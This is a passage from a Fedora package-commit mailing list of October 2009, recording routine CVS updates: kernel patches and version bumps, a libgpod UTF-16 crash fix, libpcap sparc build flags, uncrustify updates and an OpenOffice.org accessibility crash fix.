+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
 
 	DRM_DEBUG("idx=%d s=%d e=%d d=%d\n",
 		  indirect->idx, indirect->start, indirect->end,
@@ -1620,10 +1625,7 @@ static int r128_getparam(struct drm_device *dev, void *data, struct drm_file *fi
 	drm_r128_getparam_t *param = data;
 	int value;
 
-	if (!dev_priv) {
-		DRM_ERROR("called with no initialization\n");
-		return -EINVAL;
-	}
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
 
 	DRM_DEBUG("pid=%d\n", DRM_CURRENTPID);
 


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1768
retrieving revision 1.1769
diff -u -p -r1.1768 -r1.1769
--- kernel.spec	17 Oct 2009 13:18:07 -0000	1.1768
+++ kernel.spec	17 Oct 2009 13:44:04 -0000	1.1769
@@ -812,6 +812,9 @@ Patch16200: sched-update-the-clock-of-ru
 Patch16300: input-i8042-bypass-aux-irq-delivery-test-on-laptops.patch
 Patch16310: input-i8042-try-disabling-and-re-enabling-aux-port-at-close.patch
 
+# fix null deref in r128
+Patch16400: drm-r128-add-test-for-initialisation-to-all-ioctls-that-require-it.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1522,6 +1525,8 @@ ApplyPatch sched-update-the-clock-of-run
 ApplyPatch input-i8042-bypass-aux-irq-delivery-test-on-laptops.patch
 ApplyPatch input-i8042-try-disabling-and-re-enabling-aux-port-at-close.patch
 
+# fix null deref in r128
+ApplyPatch drm-r128-add-test-for-initialisation-to-all-ioctls-that-require-it.patch
 
 # END OF PATCH APPLICATIONS
 
@@ -2111,6 +2116,9 @@ fi
 # and build.
 
 %changelog
+* Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-90
+- Fix null deref in r128 (F10#487546)
+
 * Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-89
 - Keyboard and mouse fixes from 2.6.32 (#522126)
 



From cebbert at fedoraproject.org  Sat Oct 17 13:49:58 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sat, 17 Oct 2009 13:49:58 +0000 (UTC)
Subject: rpms/kernel/F-10 patch-2.6.27.38-rc1.bz2.sign, NONE,
	1.1.2.1 .cvsignore, 1.960.2.26, 1.960.2.27 kernel.spec,
	1.1206.2.107, 1.1206.2.108 sources, 1.922.2.26,
	1.922.2.27 upstream, 1.834.2.26, 1.834.2.27
Message-ID: <20091017134958.1A91E11C00EC@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22785

Modified Files:
      Tag: private-fedora-10-2_6_27
	.cvsignore kernel.spec sources upstream 
Added Files:
      Tag: private-fedora-10-2_6_27
	patch-2.6.27.38-rc1.bz2.sign 
Log Message:
Linux 2.6.27.38-rc1


--- NEW FILE patch-2.6.27.38-rc1.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBK15GZyGugalF9Dw4RAsrtAJsFJAMi+bKHGqUafEBctSCZBufw+ACbBZvr
FmImkc3gC/7WZmOlfGp0NmM=
=L1T9
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/.cvsignore,v
retrieving revision 1.960.2.26
retrieving revision 1.960.2.27
diff -u -p -r1.960.2.26 -r1.960.2.27
--- .cvsignore	13 Oct 2009 00:36:57 -0000	1.960.2.26
+++ .cvsignore	17 Oct 2009 13:49:57 -0000	1.960.2.27
@@ -5,3 +5,4 @@ temp-*
 kernel-2.6.27
 linux-2.6.27.tar.bz2
 patch-2.6.27.37.bz2
+patch-2.6.27.38-rc1.bz2


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.107
retrieving revision 1.1206.2.108
diff -u -p -r1.1206.2.107 -r1.1206.2.108
--- kernel.spec	17 Oct 2009 13:41:51 -0000	1.1206.2.107
+++ kernel.spec	17 Oct 2009 13:49:57 -0000	1.1206.2.108
@@ -39,9 +39,9 @@ Summary: The Linux kernel
 %if 0%{?released_kernel}
 
 # Do we have a -stable update to apply?
-%define stable_update 37
+%define stable_update 38
 # Is it a -stable RC?
-%define stable_rc 0
+%define stable_rc 1
 # Set rpm version accordingly
 %if 0%{?stable_update}
 %define stablerev .%{stable_update}
@@ -2039,6 +2039,9 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
+* Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.27.38-170.2.108.rc1
+- Linux 2.6.27.38-rc1
+
 * Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.107
 - Fix null deref in r128 (#487546)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/sources,v
retrieving revision 1.922.2.26
retrieving revision 1.922.2.27
diff -u -p -r1.922.2.26 -r1.922.2.27
--- sources	13 Oct 2009 00:36:58 -0000	1.922.2.26
+++ sources	17 Oct 2009 13:49:57 -0000	1.922.2.27
@@ -1,2 +1,3 @@
 b3e78977aa79d3754cb7f8143d7ddabd  linux-2.6.27.tar.bz2
 e75d87c11065955871b2e005d0242c99  patch-2.6.27.37.bz2
+8ef717930c741825c2fa5f20c2904088  patch-2.6.27.38-rc1.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/upstream,v
retrieving revision 1.834.2.26
retrieving revision 1.834.2.27
diff -u -p -r1.834.2.26 -r1.834.2.27
--- upstream	13 Oct 2009 00:36:58 -0000	1.834.2.26
+++ upstream	17 Oct 2009 13:49:57 -0000	1.834.2.27
@@ -1,3 +1,3 @@
 linux-2.6.27.tar.bz2
 patch-2.6.27.37.bz2
-
+patch-2.6.27.38-rc1.bz2



From hadess at fedoraproject.org  Sat Oct 17 14:22:01 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Sat, 17 Oct 2009 14:22:01 +0000 (UTC)
Subject: rpms/libgpod/devel libgpod-utf16-parsing.patch, NONE,
	1.1 libgpod.spec, 1.26, 1.27
Message-ID: <20091017142201.5655511C00EC@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/libgpod/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27230

Modified Files:
	libgpod.spec 
Added Files:
	libgpod-utf16-parsing.patch 
Log Message:
* Sat Oct 17 2009 Bastien Nocera <bnocera at redhat.com> 0.7.2-3
- Fix crasher when parsing UTF-16 strings with a BOM (#517642)


libgpod-utf16-parsing.patch:
 itdb_itunesdb.c |   72 ++++++++++++++++++++++++++++++++------------------------
 1 file changed, 42 insertions(+), 30 deletions(-)

--- NEW FILE libgpod-utf16-parsing.patch ---
diff --git a/src/itdb_itunesdb.c b/src/itdb_itunesdb.c
index c41e758..3f352e1 100644
--- a/src/itdb_itunesdb.c
+++ b/src/itdb_itunesdb.c
@@ -1286,6 +1286,45 @@ static gint32 get_mhod_type (FContents *cts, glong seek, guint32 *ml)
     return type;
 }
 
+static char *extract_mhod_string (FContents *cts, glong seek)
+{
+    gunichar2 *entry_utf16;
+    char *entry_utf8;
+    gint string_type;
+    gsize len;
+
+    /* type of string: 0x02: UTF8, 0x01 or 0x00: UTF16 LE */
+    string_type = get32lint (cts, seek);
+    len = get32lint (cts, seek+4);   /* length of string */
+    g_return_val_if_fail (len < G_MAXUINT - 2, NULL);
+    if (string_type != 0x02) {
+	/* UTF-16 string */
+	entry_utf16 = g_new0 (gunichar2, (len+2)/2);
+	if (seek_get_n_bytes (cts, (gchar *)entry_utf16, seek+16, len)) {
+	    fixup_little_utf16 (entry_utf16);
+	    entry_utf8= g_utf16_to_utf8 (entry_utf16, -1, NULL, NULL, NULL);
+	    g_free (entry_utf16);
+	} else { 
+	    g_free (entry_utf16);
+	    return NULL;
+	}
+    } else {
+	/* UTF-8 string */
+	entry_utf8 = g_new0 (gchar, len+1);
+	if (!seek_get_n_bytes (cts, entry_utf8, seek+16, len)) {
+	    g_free (entry_utf8);
+	    return NULL;
+	}
+    }
+
+    if (g_utf8_validate (entry_utf8, -1, NULL)) {
+	return entry_utf8;
+    } else {
+	g_free (entry_utf8);
+	return NULL;
+    }
+}
+
 /* Returns the contents of the mhod at position @mhod_seek. This can
    be a simple string or something more complicated as in the case for
    Itdb_SPLPREF OR Itdb_SPLRULES.
@@ -1303,12 +1342,10 @@ static gint32 get_mhod_type (FContents *cts, glong seek, guint32 *ml)
 
 static MHODData get_mhod (FImport *fimp, glong mhod_seek, guint32 *ml)
 {
-  gunichar2 *entry_utf16 = NULL;
   MHODData result;
   gint32 xl;
   guint32 mhod_len;
   gint32 header_length;
-  guint32 string_type;
   gulong seek;
   FContents *cts;
   
@@ -1384,34 +1421,9 @@ static MHODData get_mhod (FImport *fimp, glong mhod_seek, guint32 *ml)
   case MHOD_ID_SORT_ALBUMARTIST:
   case MHOD_ID_SORT_COMPOSER:
   case MHOD_ID_SORT_TVSHOW:
-      /* type of string: 0x02: UTF8, 0x01 or 0x00: UTF16 LE */
-      string_type = get32lint (cts, seek);
-      xl = get32lint (cts, seek+4);   /* length of string */
-      g_return_val_if_fail (xl < G_MAXUINT - 2, result);
-      if (string_type != 0x02)
-      {
-	  entry_utf16 = g_new0 (gunichar2, (xl+2)/2);
-	  if (seek_get_n_bytes (cts, (gchar *)entry_utf16, seek+16, xl))
-	  {
-	      fixup_little_utf16 (entry_utf16);
-	      result.data.string = g_utf16_to_utf8 (entry_utf16, -1,
-						    NULL, NULL, NULL);
-	      g_free (entry_utf16);
-	  }
-	  else
-	  {   /* error */
-	      g_free (entry_utf16);
-	      return result;  /* *ml==-1, result.valid==FALSE */
-	  }
-      }
-      else
-      {
-	  result.data.string = g_new0 (gchar, xl+1);
-	  if (!seek_get_n_bytes (cts, result.data.string, seek+16, xl))
-	  {   /* error */
-	      g_free (entry_utf16);
-	      return result;  /* *ml==-1, result.valid==FALSE */
-	  }
+      result.data.string = extract_mhod_string (cts, seek);
+      if (result.data.string == NULL) {
+	  return result;
       }
       break;
   case MHOD_ID_PODCASTURL:


Index: libgpod.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgpod/devel/libgpod.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- libgpod.spec	25 Jul 2009 05:49:23 -0000	1.26
+++ libgpod.spec	17 Oct 2009 14:22:01 -0000	1.27
@@ -3,13 +3,16 @@
 Summary: Library to access the contents of an iPod
 Name: libgpod
 Version: 0.7.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtkpod.org/libgpod.html
 Source0: http://downloads.sourceforge.net/gtkpod/%{name}-%{version}.tar.gz
 # See http://www.redhat.com/archives/fedora-selinux-list/2009-January/msg00005.html
 Patch0: 0001-Use-var-run-hald-as-mount-dir-for-hal-callout.patch
+# http://gitorious.org/~teuf/libgpod/teuf-sandbox/commit/3847494a513b5ef04d7abbe55c3d95dbcd836ef6
+# https://bugzilla.redhat.com/show_bug.cgi?id=517642
+Patch1: libgpod-utf16-parsing.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 BuildRequires: docbook-style-xsl
 BuildRequires: glib2-devel
@@ -78,6 +81,7 @@ libgpod library.
 %prep
 %setup -q
 %patch0 -p1 -b .selinux
+%patch1 -p1 -b .utf16
 
 # remove execute perms on the python examples as they'll be installed in %doc
 %{__chmod} -x bindings/python/examples/*.py
@@ -137,6 +141,9 @@ libgpod library.
 
 
 %changelog
+* Sat Oct 17 2009 Bastien Nocera <bnocera at redhat.com> 0.7.2-3
+- Fix crasher when parsing UTF-16 strings with a BOM (#517642)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.7.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From cebbert at fedoraproject.org  Sat Oct 17 14:41:06 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sat, 17 Oct 2009 14:41:06 +0000 (UTC)
Subject: rpms/kernel/devel patch-2.6.32-rc5-git1.bz2.sign, NONE,
	1.1 .cvsignore, 
	1.1136, 1.1137 kernel.spec, 1.1830, 1.1831 sources, 1.1095,
	1.1096 upstream, 1.1008, 1.1009
Message-ID: <20091017144106.8BFC811C00EC@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31214

Modified Files:
	.cvsignore kernel.spec sources upstream 
Added Files:
	patch-2.6.32-rc5-git1.bz2.sign 
Log Message:
2.6.32-rc5-git1


--- NEW FILE patch-2.6.32-rc5-git1.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBK2Qu2yGugalF9Dw4RAiQmAJ45A1KSCgmFVmUlrNPMOPN3YlYDHwCfYEe5
2AdHfPoXwpPy1sbwmTiX8Lo=
=JH2E
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/.cvsignore,v
retrieving revision 1.1136
retrieving revision 1.1137
diff -u -p -r1.1136 -r1.1137
--- .cvsignore	16 Oct 2009 15:35:52 -0000	1.1136
+++ .cvsignore	17 Oct 2009 14:41:04 -0000	1.1137
@@ -6,3 +6,4 @@ temp-*
 kernel-2.6.31
 linux-2.6.31.tar.bz2
 patch-2.6.32-rc5.bz2
+patch-2.6.32-rc5-git1.bz2


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1830
retrieving revision 1.1831
diff -u -p -r1.1830 -r1.1831
--- kernel.spec	16 Oct 2009 15:35:53 -0000	1.1830
+++ kernel.spec	17 Oct 2009 14:41:04 -0000	1.1831
@@ -61,7 +61,7 @@ Summary: The Linux kernel
 # The rc snapshot level
 %define rcrev 5
 # The git snapshot level
-%define gitrev 0
+%define gitrev 1
 # Set rpm version accordingly
 %define rpmversion 2.6.%{upstream_sublevel}
 %endif
@@ -1971,6 +1971,9 @@ fi
 # ##############################################################
 
 %changelog
+* Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.32-0.33.rc5.git1
+- 2.6.32-rc5-git1
+
 * Fri Oct 16 2009 Chuck Ebbert <cebbert at redhat.com>
 - 2.6.32-rc5
 - New config option: CONFIG_VMXNET3=m


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/sources,v
retrieving revision 1.1095
retrieving revision 1.1096
diff -u -p -r1.1095 -r1.1096
--- sources	16 Oct 2009 15:35:54 -0000	1.1095
+++ sources	17 Oct 2009 14:41:04 -0000	1.1096
@@ -1,2 +1,3 @@
 84c077a37684e4cbfa67b18154390d8a  linux-2.6.31.tar.bz2
 29cfdb080df74d97e89e27bc855b0160  patch-2.6.32-rc5.bz2
+b55842f9cb2c2470ffeaae5f66897017  patch-2.6.32-rc5-git1.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/upstream,v
retrieving revision 1.1008
retrieving revision 1.1009
diff -u -p -r1.1008 -r1.1009
--- upstream	16 Oct 2009 15:35:54 -0000	1.1008
+++ upstream	17 Oct 2009 14:41:04 -0000	1.1009
@@ -1,2 +1,4 @@
 linux-2.6.31.tar.bz2
 patch-2.6.32-rc5.bz2
+patch-2.6.32-rc5-git1.bz2
+



From ausil at fedoraproject.org  Sat Oct 17 14:54:26 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Sat, 17 Oct 2009 14:54:26 +0000 (UTC)
Subject: rpms/libpcap/F-12 libpcap.spec,1.13,1.14
Message-ID: <20091017145426.A233F11C00EC@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/libpcap/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv787

Modified Files:
	libpcap.spec 
Log Message:
build with -fPIC on sparc arches



Index: libpcap.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libpcap/F-12/libpcap.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- libpcap.spec	23 Sep 2009 16:14:15 -0000	1.13
+++ libpcap.spec	17 Oct 2009 14:54:25 -0000	1.14
@@ -1,7 +1,7 @@
 Name: libpcap
 Epoch: 14
 Version: 1.0.0
-Release: 3.20090922gite154e2%{?dist}
+Release: 4.20090922gite154e2%{?dist}
 Summary: A system-independent interface for user-level packet capture
 Group: Development/Libraries
 License: BSD with advertising
@@ -54,6 +54,11 @@ echo '1.0.0' > VERSION
 %patch3 -p1 -b .s390
 %patch4 -p0 -b .ppp
 
+#sparc needs -fPIC 
+%ifarch %{sparc}
+sed -i -e 's|-fpic|-fPIC|g' configure
+%endif
+
 %build
 export CFLAGS="$RPM_OPT_FLAGS $(getconf LFS_CFLAGS)"
 %configure --enable-ipv6 --enable-bluetooth
@@ -89,6 +94,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man5/pcap*.5*
 
 %changelog
+* Sat Oct 17 2009 Dennis Gilmore <dennis at ausil.us> 14:1.0.0-4.20090922gite154e2
+- use -fPIC on sparc arches
+
 * Wed Sep 23 2009 Miroslav Lichvar <mlichvar at redhat.com> 14:1.0.0-3.20090922gite154e2
 - update to snapshot 20090922gite154e2
 - drop old soname



From ausil at fedoraproject.org  Sat Oct 17 15:02:17 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Sat, 17 Oct 2009 15:02:17 +0000 (UTC)
Subject: rpms/libpcap/devel libpcap.spec,1.13,1.14
Message-ID: <20091017150217.BF1D911C00EC@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/libpcap/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2529

Modified Files:
	libpcap.spec 
Log Message:
build on sparc arches with -fPIC



Index: libpcap.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libpcap/devel/libpcap.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- libpcap.spec	23 Sep 2009 16:14:15 -0000	1.13
+++ libpcap.spec	17 Oct 2009 15:02:17 -0000	1.14
@@ -1,7 +1,7 @@
 Name: libpcap
 Epoch: 14
 Version: 1.0.0
-Release: 3.20090922gite154e2%{?dist}
+Release: 4.20090922gite154e2%{?dist}
 Summary: A system-independent interface for user-level packet capture
 Group: Development/Libraries
 License: BSD with advertising
@@ -54,6 +54,11 @@ echo '1.0.0' > VERSION
 %patch3 -p1 -b .s390
 %patch4 -p0 -b .ppp
 
+#sparc needs -fPIC 
+%ifarch %{sparc}
+sed -i -e 's|-fpic|-fPIC|g' configure
+%endif
+
 %build
 export CFLAGS="$RPM_OPT_FLAGS $(getconf LFS_CFLAGS)"
 %configure --enable-ipv6 --enable-bluetooth
@@ -89,6 +94,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man5/pcap*.5*
 
 %changelog
+* Sat Oct 17 2009 Dennis Gilmore <dennis at ausil.us> 14:1.0.0-4.20090922gite154e2
+- use -fPIC on sparc arches
+
 * Wed Sep 23 2009 Miroslav Lichvar <mlichvar at redhat.com> 14:1.0.0-3.20090922gite154e2
 - update to snapshot 20090922gite154e2
 - drop old soname



From nbecker at fedoraproject.org  Sat Oct 17 15:39:01 2009
From: nbecker at fedoraproject.org (Neal Becker)
Date: Sat, 17 Oct 2009 15:39:01 +0000 (UTC)
Subject: rpms/uncrustify/devel .cvsignore, 1.12, 1.13 sources, 1.12,
	1.13 uncrustify.spec, 1.17, 1.18
Message-ID: <20091017153902.BCFC011C00EC@cvs1.fedora.phx.redhat.com>

Author: nbecker

Update of /cvs/pkgs/rpms/uncrustify/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9561

Modified Files:
	.cvsignore sources uncrustify.spec 
Log Message:
Update to 0.54



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/uncrustify/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	8 Mar 2009 10:59:44 -0000	1.12
+++ .cvsignore	17 Oct 2009 15:38:58 -0000	1.13
@@ -1 +1 @@
-uncrustify-0.52.tgz
+uncrustify-0.54.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/uncrustify/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	8 Mar 2009 10:59:44 -0000	1.12
+++ sources	17 Oct 2009 15:38:58 -0000	1.13
@@ -1 +1 @@
-9e94f7e3e5e260d93d0e253418f95502  uncrustify-0.52.tgz
+8ec1f31936189773bf15492096b0d232  uncrustify-0.54.tgz


Index: uncrustify.spec
===================================================================
RCS file: /cvs/pkgs/rpms/uncrustify/devel/uncrustify.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- uncrustify.spec	27 Jul 2009 06:31:37 -0000	1.17
+++ uncrustify.spec	17 Oct 2009 15:38:58 -0000	1.18
@@ -1,6 +1,6 @@
 Name:		uncrustify
-Version:	0.52
-Release: 	2%{?dist}
+Version:	0.54
+Release: 	1%{?dist}
 Summary:	Reformat Source
 
 Group:		Development/Tools
@@ -43,6 +43,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 17 2009 Neal Becker <ndbecker2 at gmail.com> - 0.54-1
+- Update to 0.54
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.52-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From caolanm at fedoraproject.org  Sat Oct 17 15:45:55 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Sat, 17 Oct 2009 15:45:55 +0000 (UTC)
Subject: rpms/openoffice.org/F-12
	openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch, NONE,
	1.1 openoffice.org.spec, 1.2019, 1.2020
Message-ID: <20091017154555.0AE5911C00EC@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11269/F-12

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch 
Log Message:
Resolves: ooo#105988 a11y crash in impress

openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch:
 unoshtxt.cxx |    4 ++++
 1 file changed, 4 insertions(+)

--- NEW FILE openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch ---
--- svx/source/unodraw/unoshtxt.cxx	2008-06-06 13:36:51.000000000 +0100
+++ svx/source/unodraw/unoshtxt.cxx	2009-10-17 16:42:38.000000000 +0100
@@ -350,6 +350,8 @@
 
 void SvxTextEditSourceImpl::Notify( SfxBroadcaster&, const SfxHint& rHint )
 {
+    acquire();
+
 	const SdrHint* pSdrHint = PTR_CAST( SdrHint, &rHint );
 	const SvxViewHint* pViewHint = PTR_CAST( SvxViewHint, &rHint );
 
@@ -444,6 +446,8 @@
 				break;
         }
     }
+
+    release();
 }
 
 /* this is a callback from the attached SdrObject when it is actually deleted */


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-12/openoffice.org.spec,v
retrieving revision 1.2019
retrieving revision 1.2020
diff -u -p -r1.2019 -r1.2020
--- openoffice.org.spec	15 Oct 2009 08:10:03 -0000	1.2019
+++ openoffice.org.spec	17 Oct 2009 15:45:54 -0000	1.2020
@@ -1,6 +1,6 @@
 %define oootag OOO310
 %define ooomilestone 19
-%define rh_rpm_release 12
+%define rh_rpm_release 13
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -163,6 +163,7 @@ Patch86: openoffice.org-3.1.1.oooXXXXXX.
 Patch87: workspace.aw073.patch
 Patch88: workspace.vcl106.patch
 Patch89: openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch
+Patch90: openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1712,6 +1713,7 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch87 -p0 -b .workspace.aw073.patch
 %patch88 -p0 -b .workspace.vcl106.patch
 %patch89 -p0 -b .oooXXXXXX.vcl.sniffscriptforsubs.patch
+%patch90 -p0 -b .ooo105988.svx.a11ycrash.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4245,6 +4247,9 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
+* Sat Oct 17 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.13-UNBUILT
+- Resolves: ooo#105988 a11y crash in impress
+
 * Thu Oct 15 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.12
 - Resolves: rhbz#528409 [si_LK] Default font in oowriter is not
   Language Default (LKLUG), but DejaVu Sans (dtardon)



From caolanm at fedoraproject.org  Sat Oct 17 15:45:55 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Sat, 17 Oct 2009 15:45:55 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch, NONE,
	1.1 openoffice.org.spec, 1.2041, 1.2042
Message-ID: <20091017154555.3CFD311C00EC@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11269/devel

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch 
Log Message:
Resolves: ooo#105988 a11y crash in impress

openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch:
 unoshtxt.cxx |    4 ++++
 1 file changed, 4 insertions(+)

--- NEW FILE openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch ---
diff -ru svx.orig/source/unodraw/unoshtxt.cxx svx/source/unodraw/unoshtxt.cxx
--- svx.orig/source/unodraw/unoshtxt.cxx	2009-10-17 16:34:40.000000000 +0100
+++ svx/source/unodraw/unoshtxt.cxx	2009-10-17 16:36:04.000000000 +0100
@@ -352,6 +352,8 @@
 
 void SvxTextEditSourceImpl::Notify( SfxBroadcaster&, const SfxHint& rHint )
 {
+    acquire();
+
 	const SdrHint* pSdrHint = PTR_CAST( SdrHint, &rHint );
 	const SvxViewHint* pViewHint = PTR_CAST( SvxViewHint, &rHint );
 
@@ -447,6 +449,8 @@
 				break;
         }
     }
+
+    release();
 }
 
 /* this is a callback from the attached SdrObject when it is actually deleted */


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2041
retrieving revision 1.2042
diff -u -p -r1.2041 -r1.2042
--- openoffice.org.spec	15 Oct 2009 16:53:26 -0000	1.2041
+++ openoffice.org.spec	17 Oct 2009 15:45:54 -0000	1.2042
@@ -115,6 +115,7 @@ Patch41: openoffice.org-3.1.1.oooXXXXXX.
 Patch42: workspace.vcl106.patch
 Patch43: openoffice.org-3.1.1.ooo105784.vcl.sniffscriptforsubs.patch
 Patch44: openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch
+Patch45: openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1619,6 +1620,7 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch42 -p0 -b .workspace.vcl106.patch
 %patch43 -p0 -b .ooo105784.vcl.sniffscriptforsubs.patch
 %patch44 -p0 -b .ooo105827.filter.xpath-on-rtf-not-allowed.patch
+%patch45 -p0 -b .ooo105988.svx.a11ycrash.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4119,6 +4121,9 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
+* Sat Oct 17 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.2
+- Resolves: ooo#105988 a11y crash in impress
+
 * Thu Oct 15 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.1
 - Resolves: rhbz#529127 [Indic][Various] Default font in oowriter is
   not Language Default (Lohit or Other), but DejaVu Sans (dtardon)



From nbecker at fedoraproject.org  Sat Oct 17 15:46:32 2009
From: nbecker at fedoraproject.org (Neal Becker)
Date: Sat, 17 Oct 2009 15:46:32 +0000 (UTC)
Subject: rpms/uncrustify/F-11 .cvsignore, 1.12, 1.13 sources, 1.12,
	1.13 uncrustify.spec, 1.16, 1.17
Message-ID: <20091017154632.DDB7011C00EC@cvs1.fedora.phx.redhat.com>

Author: nbecker

Update of /cvs/pkgs/rpms/uncrustify/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11451

Modified Files:
	.cvsignore sources uncrustify.spec 
Log Message:
update to 0.54


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/uncrustify/F-11/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
